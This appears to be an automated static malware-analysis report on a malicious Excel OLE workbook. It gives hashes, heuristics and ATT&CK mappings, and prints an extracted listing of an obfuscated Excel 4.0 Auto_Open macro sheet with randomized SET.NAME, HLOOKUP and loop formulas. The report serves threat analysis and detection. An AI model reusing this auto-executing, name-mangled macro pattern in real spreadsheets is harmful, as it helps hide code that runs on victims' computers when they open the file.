Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 69b62490ab1d313e…

MALICIOUS

Office (OLE)

37.0 KB Created: 2020-11-27 11:42:55 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 06543761f2909e194be4b5461dfa0d69 SHA-1: 86cdf575a98440c22bd23d19813d2203ba12a1b7 SHA-256: 69b62490ab1d313e4f96c77ee296903e33ec621912194671d5db4b1245a7af65
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a known technique for executing malicious code upon opening the workbook. The presence of dangerous formula APIs like RUN indicates an intent to execute arbitrary commands or download additional payloads. The obfuscated nature of the document body and the truncated script content prevent a more precise analysis of the payload.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6907 bytes
SHA-256: 1b4e37d90c17207799b3aa1aa7b04694a0f0ec2fc2cd13a123d2804d82347127
Detection
ClamAV: No threats found
Obfuscation or payload: likely
19 of 38 identifiers look randomly generated (e.g. 'dTozaDDSsHLY') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  WsrOoncwH
' 0018     27 LABEL : Cell Value, String Constant - AplWbBCpIDaH len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A171 
' 0018     27 LABEL : Cell Value, String Constant - BakdcQjHCwcv len=0 
' 0018     23 LABEL : Cell Value, String Constant - bYneopvJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - CokxVHo len=0 
' 0018     27 LABEL : Cell Value, String Constant - dTozaDDSsHLY len=0 
' 0018     25 LABEL : Cell Value, String Constant - FAQLkJfxGk len=0 
' 0018     20 LABEL : Cell Value, String Constant - FgetW len=0 
' 0018     23 LABEL : Cell Value, String Constant - kTWJeihf len=0 
' 0018     23 LABEL : Cell Value, String Constant - KVpyKhYp len=0 
' 0018     21 LABEL : Cell Value, String Constant - LHDGIY len=0 
' 0018     24 LABEL : Cell Value, String Constant - LmzRqyhNM len=0 
' 0018     25 LABEL : Cell Value, String Constant - MMgcykbVwn len=0 
' 0018     23 LABEL : Cell Value, String Constant - mROxTpCe len=0 
' 0018     22 LABEL : Cell Value, String Constant - oyTNULw len=0 
' 0018     21 LABEL : Cell Value, String Constant - PlCgqf len=0 
' 0018     26 LABEL : Cell Value, String Constant - rHCmCcmFkhz len=0 
' 0018     24 LABEL : Cell Value, String Constant - SrOniPStn len=0 
' 0018     23 LABEL : Cell Value, String Constant - wicnyUbE len=0 
' 0018     20 LABEL : Cell Value, String Constant - XnIHE len=0 
' 0018     25 LABEL : Cell Value, String Constant - ytBnlhjiAh len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  WsrOoncwH,Q54,"",123.00000000000000000000
'  WsrOoncwH,Q55,"",-574.00000000000000000000
'  WsrOoncwH,Q56,"",185.00000000000000000000
'  WsrOoncwH,Q57,"",573.00000000000000000000
'  WsrOoncwH,Q58,"",-844.00000000000000000000
'  WsrOoncwH,Q59,"",552.00000000000000000000
'  WsrOoncwH,A78,"SET.NAME("wicnyUbE",0+VALUE("0"))",""
'  WsrOoncwH,A83,"SET.NAME("CokxVHo",wicnyUbE)",""
'  WsrOoncwH,A86,"SET.NAME("PlCgqf",wicnyUbE)",""
'  WsrOoncwH,A88,"SET.NAME("mROxTpCe",COUNTA(bYneopvJ))",""
'  WsrOoncwH,A92,"SET.NAME("SrOniPStn",COUNTA(dTozaDDSsHLY))",""
'  WsrOoncwH,A95,[],""
'  WsrOoncwH,A98,"SET.NAME("KVpyKhYp","")",""
'  WsrOoncwH,A101,"CokxVHo",""
'  WsrOoncwH,A103,"SET.NAME("AplWbBCpIDaH",HLOOKUP("*",bYneopvJ,CokxVHo,FALSE))",""
'  WsrOoncwH,A108,"MMgcykbVwn",""
'  WsrOoncwH,A111,"SET.NAME("LmzRqyhNM",wicnyUbE)",""
'  WsrOoncwH,A116,[],""
'  WsrOoncwH,A121,"LmzRqyhNM",""
'  WsrOoncwH,A125,"BakdcQjHCwcv",""
'  WsrOoncwH,A130,"FgetW",""
'  WsrOoncwH,A135,"LHDGIY",""
'  WsrOoncwH,A138,"SET.NAME("oyTNULw",VALUE(HLOOKUP("*",dTozaDDSsHLY,LHDGIY,FALSE)))",""
'  WsrOoncwH,A142,"ytBnlhjiAh",""
'  WsrOoncwH,A147,"KVpyKhYp",""
'  WsrOoncwH,A150,"PlCgqf",""
'  WsrOoncwH,A152,NEXT(),""
'  WsrOoncwH,A154,"XnIHE",""
'  WsrOoncwH,A156,[],""
'  WsrOoncwH,A161,"FAQLkJfxGk",""
'  WsrOoncwH,A163,NEXT(),""
'  WsrOoncwH,A166,RETURN(),""
'  WsrOoncwH,A194,"SET.NAME("kTWJeihf",A78)",""
'  WsrOoncwH,A199,"bYneopvJ",""
'  WsrOoncwH,A204,"SET.NAME("dTozaDDSsHLY",R99C13)",""
'  WsrOoncwH,A209,"SET.NAME("FAQLkJfxGk",216)",""
'  WsrOoncwH,A211,"SET.NAME("rHCmCcmFkhz",1)",""
'  WsrOoncwH,A215,kTWJeihf(),""
'  WsrOoncwH,A216,HALT(),""

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